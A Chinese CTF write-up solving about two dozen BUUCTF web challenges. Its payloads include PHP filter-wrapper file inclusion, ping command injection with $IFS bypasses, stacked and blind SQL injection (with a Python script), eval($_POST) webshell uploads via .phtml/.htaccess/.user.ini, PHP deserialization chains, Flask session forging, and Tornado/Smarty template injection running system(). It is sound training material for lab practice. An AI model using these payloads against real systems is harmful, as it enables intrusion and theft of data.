前言 新开个靶场接着刷题,极客大挑战已经做过的就跳了,参考极客大挑战-WP | Yxing
[ACTF2020 新生赛]Include 根据tips
中的文件包含直接伪协议
GET:file=php://filter/read=convert.base64-encode/resource=flag.php
flag{99cbe927-0326-4ad0-9cbb-0d524fef23e3}
[HCTF 2018]WarmUp 源码提示source.php
,直接访问,源码发现hint.php
,也直接访问
<?php highlight_file (__FILE__ ); class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; } if (in_array ($page , $whitelist )) { return true ; } $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' ) //先在page后拼接一个问号再查找问号位置,提取从开头到问号位置的字符 ); if (in_array ($_page , $whitelist )) { return true ; } $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
flag not here, and flag in ffffllllaaaagggg
那我们就可以直接开始构造,注意这里必须判断再白名单中
GET:file=hint.php?/../../../../../ffffllllaaaagggg
这里在包含文件时会先尝试包含hint.php?/
,发现不是一个文件后会接着向后面包含,从而包含到根目录的flag
flag{b445e688-4846-45cb-8f91-7274bff5cf7b}
[ACTF2020 新生赛]Exec 分号隔开后命令执行就行,这里扒了个源码下来
<?php if (isset ($_POST ['target' ])) { system ("ping -c 3 " .$_POST ['target' ]); } ?>
POST:target=127.0.0.1;tac /flag
flag{dd2de656-3bb9-45fe-959f-aa4be341d74a}
[GXYCTF2019]Ping Ping Ping 还是隔开就行,但是这里加上过滤了,禁用了空格,/
,<>
等。ip=127.0.0.1;ls
可正常执行
先来绕过空格读个源码
GET:ip=127.0.0.1;cat$IFS$1index.php
<?php if (isset ($_GET ['ip' ])){ $ip = $_GET ['ip' ]; if (preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match )){ echo preg_match ("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/" , $ip , $match ); die ("fxck your symbol!" ); } else if (preg_match ("/ /" , $ip )){ die ("fxck your space!" ); } else if (preg_match ("/bash/" , $ip )){ die ("fxck your bash!" ); } else if (preg_match ("/.*f.*l.*a.*g.*/" , $ip )){ die ("fxck your flag!" ); } $a = shell_exec ("ping -c 4 " .$ip ); echo "<pre>" ; print_r ($a ); } ?>
可以看到这里将flag隔开是不行的,检测方式是按顺序匹配flag这四个字符,可以采用字符拼接
GET:ip=127.0.0.1;a=fl;b=g.php;c=a;tac$IFS$1$a$c$b
flag{7ba0ac78-487c-4138-a45c-c88c97352d35}
也可以用HNCTF学到的,都可以打出来,推荐第一个
GET:ip=127.0.0.1;tac$IFS$1`ls` GET:ip=127.0.0.1;`echo$IFS$1dGFjIGYq|base64$IFS$1-d` #原始为ip=127.0.0.1;`echo dGFjIGYq|base64 -d`,即`tac f*`
[SUCTF 2019]EasySQL 这道题算是比较涨姿势了,首先fuzz一下发现输入数字时会返回一个数组Array ( [0] => 1 )
,任意数字都是这个,但是输入字符时就啥都不会回显,输入flag
或者union
等时回显NONONO
,那么猜测常规的布尔时间union都打不了了,而且后端代码猜测可能是
select $_POST['quert' ] || flag from flag
如果只是单纯传入一个数字,就会执行select 1 from flag
,这个语句就没有有用回显
法一:直接绕过
payload
如上,解释下,如果照上面猜测的拼凑到语句中,就是1||flag
,总会返回1,而前面就会select * from flag
,从而获取flag
flag{4e45612f-bde7-4078-8159-609e7fcbfd01}
法二:堆叠注入 这里按照猜想,直接用堆叠注入,发现回显了
query=1;show columns from Flag;
但是这里由于把flag
过滤了,所以不能直接读出来,但是从表名这里就可以看出来确实是如猜想的那样
法三:PIPES_AS_CONCAT 函数
PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。
select 1 || flag from Flag的意思将变成:先查询1,再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了
1;sql_mode=PIPES_AS_CONCAT;select 1
拼接进去后就会通过select 1 || flag from flag
将结果合并输出,从而获得flag
[强网杯 2019]随便注 输入1
后还是和上题一样回显数组,先来判断下类型
报错说明确实是单引号闭合,尝试常见注入
inject=1' union select 1,2#
万能密码注入时会显示当前表内所有数据,传参时要url编码
inject=1' or 1=1# inject=1'%20or%201%3D1%23
法一:堆叠注入 先用堆叠试试
inject=1';show databases;#
inject=1';show columns from words;#
没什么值得注意的,看看另一个表。注意这里数字作为表名时要用反引号包裹
inject=1';show columns from `1919810931114514`;#
看到flag
,但是由于select
被过滤不能直接读取,下面又是涨姿势的时候了
通过万能密码注入结果和上面堆叠注入结果可以猜测后端查询语句为
select * from words where id= $_GET['inject' ]
这里就有思路了:先将word
表通过rename改成其他名字的表,再将1919810931114514
改为word
表,添加id
列和将flag
列改为data
列,最后再用万能密码查询,就可以看到目前的word
表,实际上的1919810931114514
表的全部内容了。payload如下
GET:inject=1';rename table words to yxing;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
最后万能密码就可以查看
GET:inject=1'%20or%201%3D1%23
flag{e04f26d1-2901-48fd-95a7-58633e87bc85}
法二:编码绕过select
GET:inject=1';SEt@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare yxing from @a;execute yxing;# #十六进制解码为select * from `1919810931114514`
注意,用了法一之后,1919810931114514
这个表就相当于废了,要测就要重开环境了,或者重命名回去
这个payload简单解释下:先用set将查找结果的值赋给变量a,然后用预处理命令实现编码转换,最后执行预处理的yxing
语句。而且这里的set
和prepare
不能同时为小写,有waf,将某一个单词大写就行
法三:concat拼接绕过select GET:inject=1';use supersqli;set @a=concat('s','elect flag from `1919810931114514`');PREPARE yxing from @a;EXECUTE yxing;#
这里思路相同,还是去绕过select
函数,通过这两个字符串拼接来实现
法四:handler代替select读取 GET:inject=1';handler `1919810931114514` open as `yxing`;handler `yxing` read next;#
handler会一行一行的读取表中数据,这里的handler
只会读取表中的一行数据,不过用来处理这个题也足够了
这个方法还可以用来无列名注入,涨姿势了
[ACTF2020 新生赛]Upload 源码给了一个上传文件的位置
在鼠标悬停小灯泡上,小灯泡亮后会给出文件上传的位置
首先绕过前端限制,上传图片马
但是这里后端也有验证,发现php
文件还是传不了,但是可以传.phtml
文件,那么就有思路了
<script language='php'>eval($_POST['123']);</script>
路径为/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
成功上传连马找到flag
这里也可以上传.htaccess
和.user.ini
文件的,但是由于上传后会在前面加上一串字符,所以不能起作用
flag{34449896-2685-4b1b-a9f1-6d21fe627c84}
[ACTF2020 新生赛]BackupFile 本来拿dirsearch
来扫的,结果不知道为啥用不了(似乎是buu有请求限制)
这里直接看题目名字猜测是index.php.bak
,访问获得源码
<?php include_once "flag.php" ;if (isset ($_GET ['key' ])) { $key = $_GET ['key' ]; if (!is_numeric ($key )) { exit ("Just num!" ); } $key = intval ($key ); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ; if ($key == $str ) { echo $flag ; } } else { echo "Try to find out source file!" ; }
这里判断key
是否是数字,然后再与str进行比较,由于只是弱比较,直接传参key=123
就可以获得flag
php弱比较时会先判断类型,类型不一样会先转换类型,这里整数与字符进行比较,就会将字符转换为数字,所以只提取123结束了
flag{aa26f5f6-ba64-418f-af71-aea35eeb514f}
[RoarCTF 2019]Easy Calc 源码中可以发现通过向calc.php
请求来获得答案
$('#calc' ).submit (function ( ){ $.ajax ({ url :"calc.php?num=" +encodeURIComponent ($("#content" ).val ()), type :'GET' , success :function (data ){ $("#result" ).html (`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>` ); }, error :function ( ){ alert ("这啥?算不来!" ); } }) return false ; })
访问calc.php
获得源码
<?php error_reporting (0 );if (!isset ($_GET ['num' ])){ show_source (__FILE__ ); }else { $str = $_GET ['num' ]; $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ,'\$' ,'\\' ,'\^' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $str )) { die ("what are you want to do?" ); } } eval ('echo ' .$str .';' ); } ?>
原来以为是ssti
,结果是命令执行
calc.php?num=system("ls");
直接传参显示403不允许,并且似乎测出来不能传字母?
这里有个小姿势,访问calc.php? num=phpinfo();
就能正常传参。php在解析时会先将空白字符去掉,转换为有效变量
然后看到disable_function
中把常见命令执行函数都禁用了
这里就要用无参rce的知识了
GET:? num=var_dump(scandir(chr(47))) #原始为var_dump(scandir("/")),转换字符时会自动带上引号
找到f1agg
文件
GET:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) #原始为var_dump(file_get_contents("/f1agg"))
flag{11b7e176-74ae-4926-a43b-6569fe9b8f70}
这里也可以用十六进制绕过
? num=var_dump(scandir(hex2bin(dechex(47)))) ? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[BJDCTF2020]Easy MD5 随便输一个1,在请求头中找到hint
select * from 'admin' where password= md5($pass,true )
参考web187,ffifdyop
这个字符MD5后会出现'or'6xxxx
,完整拼接语句为
select * from 'admin' where password= '' or '6xxxx'
这样总是会返回真,同理的万能密码还有129581926211651571912466741651878684928
输入ffifdyop
后进入下一关levels91.php
源码找到关键代码
$a = $GET ['a' ];$b = $_GET ['b' ];if ($a != $b && md5 ($a ) == md5 ($b )){
进入第三关levell14.php
<?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){ echo $flag ; }
强等于,数组绕过即可
POST:param1[]=1¶m2[]=2
flag{5e33d0d7-c290-4eea-9201-4ae8dde86a8d}
[HCTF 2018]admin 法一:弱口令 进去看到注册和登录,先测一下注册,注册位置不能直接注册admin用户,因此直接登录页面弱口令爆一爆
可以看到123
的长度不一样,登录试试
然后就直接拿到flag了?????我还打算看session里面打伪造呢
flag{557402b8-c485-4e01-9717-fd6a74494b0b}
好吧,上面是最简单的一种解法,下面再来学习几种
法二:伪造session 在随便注册登录后的修改密码页面源码中找到提示
https://github.com/woadsl1234/hctf_flask/
但是访问的时候似乎已经没了?那就看看师傅们的文章来学习就行了
[BUUCTF-HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客
解码session如下
{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': '123', 'user_id': '10'}
密钥为ckj123
flask-unsign --sign --cookie "{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123' .eJxFkE9rwkAUxL9KeWcPSUgvgodC_nSF94Jlddl3Ea1xs5ushaiYrPjdm1porzPDb5i5w_bY1-cG5pf-Ws9gaw8wv8PLHuaAsg3kMGG_irUUKTscURUdy8Jx9mEp0QmVZNGLATPylJlBB_OTTyhgxGp9I78eSOkIPd60Kiy7PKay8KjEUJUYuGRbKRFrtwrVxGKPCZbLDjOTVLLrdGhfUZoBwyoi17Ts1yNnB6eVSKlc2qlv0sUCHjP4PPfH7eWrrU__ExxOWExRvqVa5SlnG8tKx-zMSC4fUVKDoWm1zKMqE6N2hUOzeOKs35n6j6QkvW9uv85p5ycDdgdvTzCD67nun79BHMHjG8TDbcM.aElnjw.aGfVncn7LtxgsdQ5Lai2GGWQiDI
重定向后获得flag
法三:Unicode欺骗 这个方法就完全参考师傅的文章了,简单来说就是因为改密码中的函数有问题,从而实现修改admin的密码
ᴬᴰᴹᴵᴺ 使用一次nodeprep.prepare() -> ADMIN 再使用一次nodepre.prepare() -> admin
[MRCTF2020]你传你🐎呢 还是文件上传,尝试直接传php,phtml
都不行,jpg
和.htaccess
可以上传,注意这里还要修改文件类型
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
再上传个1.jpg
就行
路径为upload/9b2dde4fce14310907d843276b4003e9/1.jpg
,蚁剑连上后根目录找到flag
flag{fbce99fb-cfdd-4e97-93a6-2aa0aede5416}
[护网杯 2018]easy_tornado(tornado模板注入) 先挨着访问一遍
//flag.txt flag in /fllllllllllllag //welcome.txt render //hints.txt md5(cookie_secret+md5(filename))
但是似乎都没看到cookie来着
注意到题目中的tornado,这是一个模板,可能涉及到模板注入
同时再访问报错后的报错页面看到参数
尝试注入成功
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings
,handler
指向RequestHandler
,而RequestHandler.settings
又指向self.application.settings
,所以handler.settings
就指向RequestHandler.application.settings
了,这里面就是我们的一些环境变量。
简单理解handler.settings
即可,可以把它理解为tornado
模板中内置的环境配置信息名称,通过handler.settings
可以访问到环境配置的一些信息,看到tornado
模板基本上可以通过handler.settings
一把梭。
GET:msg={{handler.settings}}
'cookie_secret': '0e08d985-58ee-4fd0-9937-8ff360d43116'
拿着去加密就行
md5(cookie_secret+md5(filename)) /fllllllllllllag的MD5为3bf9f6cf685a6dd8defadabfb41a03a1 0e08d985-58ee-4fd0-9937-8ff360d431163bf9f6cf685a6dd8defadabfb41a03a1的MD5为dd7b4c07f393447c3aa72e23a5a8ef4c
成功读取flag
flag{fc4b948e-4c2d-4bfe-b0c2-15bf68456209}
[ZJCTF 2019]NiZhuanSiWei <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } } else { highlight_file (__FILE__ ); } ?>
所以payload如下
GET:text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
exp如下
<?php class Flag { public $file ; } $a =new Flag ();$a ->file='flag.php' ;echo serialize ($a );
最终完整payload如下,注意这里直接包含useless.php
,因为是在这个文件中反序列化的
GET:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
源码获得flag
flag{4d492c3e-d675-44d4-9dba-ff22f0e0304e}
[MRCTF2020]Ez_bypass I put something in F12 for you include 'flag.php' ;$flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input first
is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容
GET:id[]=1&gg[]=2 POST:passwd=1234567%00
flag{6dbebba0-ddc7-40cb-b7f6-c0dc1e1fc938}
[网鼎杯 2020 青龙组]AreUSerialz <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
简单来说就是通过强弱比较,先赋值op=2,然后去读flag文件,注意这里涉及到对protected
属性中字符是否为ascii字符的判断
法一:直接绕过is_valid函数 <?php class FileHandler { protected $op =2 ; protected $filename = "flag.php" ; protected $content ; } $a =new FileHandler ();$b =str_replace ('%00' ,'\00' ,urlencode (serialize ($a ))); $c =str_replace ('s' ,'S' ,$b ); echo $c ;
GET:str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
flag{c2cd0ab8-c92d-42dc-8e38-bf4aca75357a}
法二:利用类属性名称不敏感 <?php class FileHandler { protected $op =2 ; protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; protected $content ; } $a =new FileHandler ();echo serialize ($a );
GET:str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
当然,也可以在exp中直接修改,PHP7.1+对类的属性类型不敏感。两种其实同理,所以都放在法二下面
<?php class FileHandler { public $op =2 ; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; public $content ; } $a =new FileHandler ();echo serialize ($a );
GET:str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
[GXYCTF2019]BabyUpload 尝试后发现后缀名限制了不能用ph开头,所以尝试上传.htaccess
文件绕过,并且还限制了文件内容中不能出现?
,那就用phtml
来写
<FilesMatch "1.png" > SetHandler application/x-httpd-php </FilesMatch>
<script language='php'>eval($_POST['123']);</script>
蚁剑连接根目录找到flag
flag{fb8f6dc5-1cff-455a-b83d-050391b98812}
[SUCTF 2019]CheckIn 随便尝试上传一个php文件,发现同样过滤逗号和限制后缀,并且还要求我文件头,GIF89a
绕过,和上个题同样思路但是这个题是通过.user.ini
文件实现
GIF89a auto_prepend_file=1.png
<script language='php'>eval($_POST['123']);</script>
成功连接之后根目录找到flag
flag{ac2430fb-8eb7-425f-932c-0d36f91f32d9}
[GYCTF2020]Blacklist 和之前的EasySQL相同的情况,但是做了些修改,可以尝试堆叠注入打出来
inject=0';show databases;#
inject=0';select * from FlagHere;#
很明显这里出现了过滤,但是可以参考随便注的法四,通过handler来查询
inject=0';handler FlagHere open as yxing;handler yxing read next;# 或 inject=0';handler FlagHere open;handler FlagHere read next;#
二者其实同理,就是一个别名的差别
flag{33309862-b95c-495f-999f-07c55ba53f0c}
1[RoarCTF 2019]Easy Java [CISCN2019 华北赛区 Day2 Web1]Hack World fuzz测试后发现过滤空格,并且是数字型的sql注入,且1和2有不同回显,那就可以开始构造sql注入了
POST:id=if(ascii(substr((select(flag)from(flag)),1,1))>127,1,2) POST:id=if(ascii(substr((select%09flag%09from%09flag),1,1))>127,1,2)
这两个语句可以拿来正常判断,那就通过任意一个来写脚本
import requestsurl='http://cc7f75c4-48b1-41f8-bd91-adb055aa2789.node5.buuoj.cn:81/index.php' result='' for i in range (1 ,50 ): high=127 low=32 mid=(low+high)//2 while high>low: payload='if(ascii(substr((select\tflag\tfrom\tflag),{0},1))>{1},1,2)' .format (i,mid) data={ "id" :payload } response=requests.post(url,data=data) if 'Hello' in response.text: low=mid+1 else : high=mid mid=(low+high)//2 result+=chr (int (mid)) print (result) if '}' in result: break print ("flag为:" +result)
注意脚本中\t
的写法,如果是%09
会被识别为%09f
一个整体。如果是通过括号绕过同理
flag{4b75de9a-0a78-4e75-9f1b-04c57782a337}
[BSidesCF 2020]Had a bad day 看见随便尝试点击后后面有参数如index.php?category=woofers
,尝试文件包含的伪协议,注意这里没有后缀,估计加上了php
后缀
category=php://filter/read=convert.base64-encode/resource=index
成功读取,挑选关键源码整理如下
<?php $file = $_GET ['category' ];if (isset ($file )){ ( strpos ( $file , "woofers" ) !== false || strpos ( $file , "meowers" ) !== false || strpos ( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } }?>
发现必须要关键字,但是对于php://filter
伪协议,关键部分都在的话中间的字符不影响,首先尝试直接包含
category=index.php/../flag
感觉没东西,但是注释可以看到<!-- Can you read this flag? -->
估计是被注释了,还是通过伪协议读取
category=php://filter/read=convert.base64-encode/index/resource=flag
flag{8b1884ae-43bb-4899-b218-c5323695998c}
[网鼎杯 2018]Fakebook(sql注入+ssrf) 由于buu的限制,就没有用dirsearch扫目录,直接瞄了眼wp。先访问robots.txt
,获得/user.php.bak
,获得源码如下
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
发现要求了博客格式,但是限制并不严格,类似于123.blog
就可以,中间有.
就行,并且这里的curl_exec
可能导致ssrf漏洞。先去注册一个试试(最好不要用www.baidu.com
这种,前两次开了之后访问不了view.php
,估计是访问太慢了)
回到原页面login后发现名字有超链接
访问后发现可能存在sql注入,首先判断字符型还是数字型
判断为数字型后判断列数,这里发现5不行,4可以
接下来正常注入
no=0 union select 1,2,3,4
被检测了,尝试大小写绕过等都不行,最后发现估计是检测了union select
不能同时出现,中间用/**/
隔开就行
no=0 union/**/select 1,2,3,4
在2的位置进行sql注入,首先尝试直接读取文件,先查看用户权限
no=0 union/**/select 1,(select user()),3,4
发现是root
用户,并且(扫目录)找到了flag.php
在当前路径下,从报错可以看出来是/var/www/html
,直接尝试load_file
no=0 union/**/select 1,(select load_file("var/www/html/flag.php")),3,4
发现读不出来,尝试写个马进去
no=0 union/**/select 1,'<?=eval($_POST[123]);?>',3,4 into outfile '/var/www/html/1.php'
好吧,写马发现权限不足,估计是该目录没有权限
老老实实去打ssrf,首先看看数据库中有没有可以利用的
no=0 union/**/select 1,(select database()),3,4 //fakebook no=0 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4 //users no=0 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4 //no,username,passwd,data no=0 union/**/select 1,(select data from users),3,4
最后查找发现,join的数据是以序列化形式存储在数据库中的data列,其他似乎就没有利用空间了
而且有意思是页面在每次查询时都尝试访问博客地址,即调用最初获得源码中的getBlogContents()
方法
那么这里就可以实现ssrf来读取flag了
exp如下,通过file伪协议来读取本地文件
<?php class UserInfo { public $name = "yxing" ; public $age = 0 ; public $blog = "file:///var/www/html/flag.php" ; } $a =new UserInfo ();echo serialize ($a );
payload如下,这里通过在第四个位置查找(即data的位置)实现ssrf
GET:no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"yxing";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
可以看到通过iframe
标签,使用data协议读取了flag.php中内容,base64编码后输出,解码获得flag
flag{021d4d98-0ded-4fd7-84fc-320e3e52ec8c}
[网鼎杯 2020 朱雀组]phpweb 进去之后发现啥也没有,但是看源码的时候发现了东西
<script language =javascript > setTimeout ("document.form1.submit()" ,5000 ) </script > <p > </p > <form id =form1 name =form1 action ="index.php" method =post > <input type =hidden id =func name =func value ='date' > <input type =hidden id =p name =p value ='Y-m-d h:i:s a' > </body > </html >
有两个隐藏按钮,并且会在5秒(5000毫秒)后自动提交form1
的表单
不传参数自动提交时会发现如下报错
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24 2025-06-19 09:18:51 am
提交参数后出现如下报错(这里建议抓个包来做,不然一直刷新眼睛要花了)
随便传一个ls可以发现这里执行命令的是call_user_func()
函数
分别传system
和ls
发现被检测了
命名空间 参考轩辕杯-ezrce,命名空间秒了
但是并没有找到flag,尝试搜一下flag文件
func=\system&p=find+/+-name+"flag*"
看到最像的就是这个/tmp目录下的,读取尝试
func=\system&p=cat+/tmp/flagoefiu4r93
flag{1a3cf675-b135-451e-9c2e-1df43e212e68}
反序列化 这里看wp发现也可以通过反序列化来打,如果不用命名空间,首先通过file_get_content读取index.php内容
func=file_get_contents&p=index.php
<?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
关键代码为
class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } }
通过这里的__destruct
方法中调用gettime()
函数来实现任意命令执行,exp如下
<?php class Test { var $p = "ls" ; var $func = "system" ; } $a =new Test ();echo serialize ($a );
POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
可以实现rce,后面的命令就同理了
POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"find / -name "flag*"";s:4:"func";s:6:"system";} POST:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
[BJDCTF2020]The mystery of ip(smarty模板注入) 欸,才发现这个和启航杯-Web_IP一样
首先访问hint页面,源码中找到提示<!-- Do you know why i know your ip? -->
,得知可能是从X-Forwarded-For
伪造
成功回显,由于是页面渲染,现在就直接尝试ssti,并且是php的页面,可能是twig,smarty,blade(才发现自己ssti那里只写了Jinjia2的,后面一定补上)
这里随便弄个报错,就能看到模板为smarty了
X-Forwarded-for:{{().__class__}}
PS:其实当时打启航杯就不太明白为什么这里可以直接执行命令,网上找wp阅读发现都是一笔带过,所以这尽量写详细一点
这里先参考下1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 ,后面有时间了去把自己的ssti完善下
先查看下该模板版本
X-Forwarded-for:{$smarty.version}
在Smarty3.0+
中{php}
标签已经被废除,所以可以通过{if}
标签来实现读取
X-Forwarded-for:{if phpinfo()}{/if}
成功命令执行
X-Forwarded-For:{if system("ls /")}{/if} X-Forwarded-For:{if system("tac /f*")}{/if} 当然也可以直接执行命令 X-Forwarded-For:{system("tac /f*")}
flag{eba9c942-98a3-4e8b-b67b-fb63af6aa159}
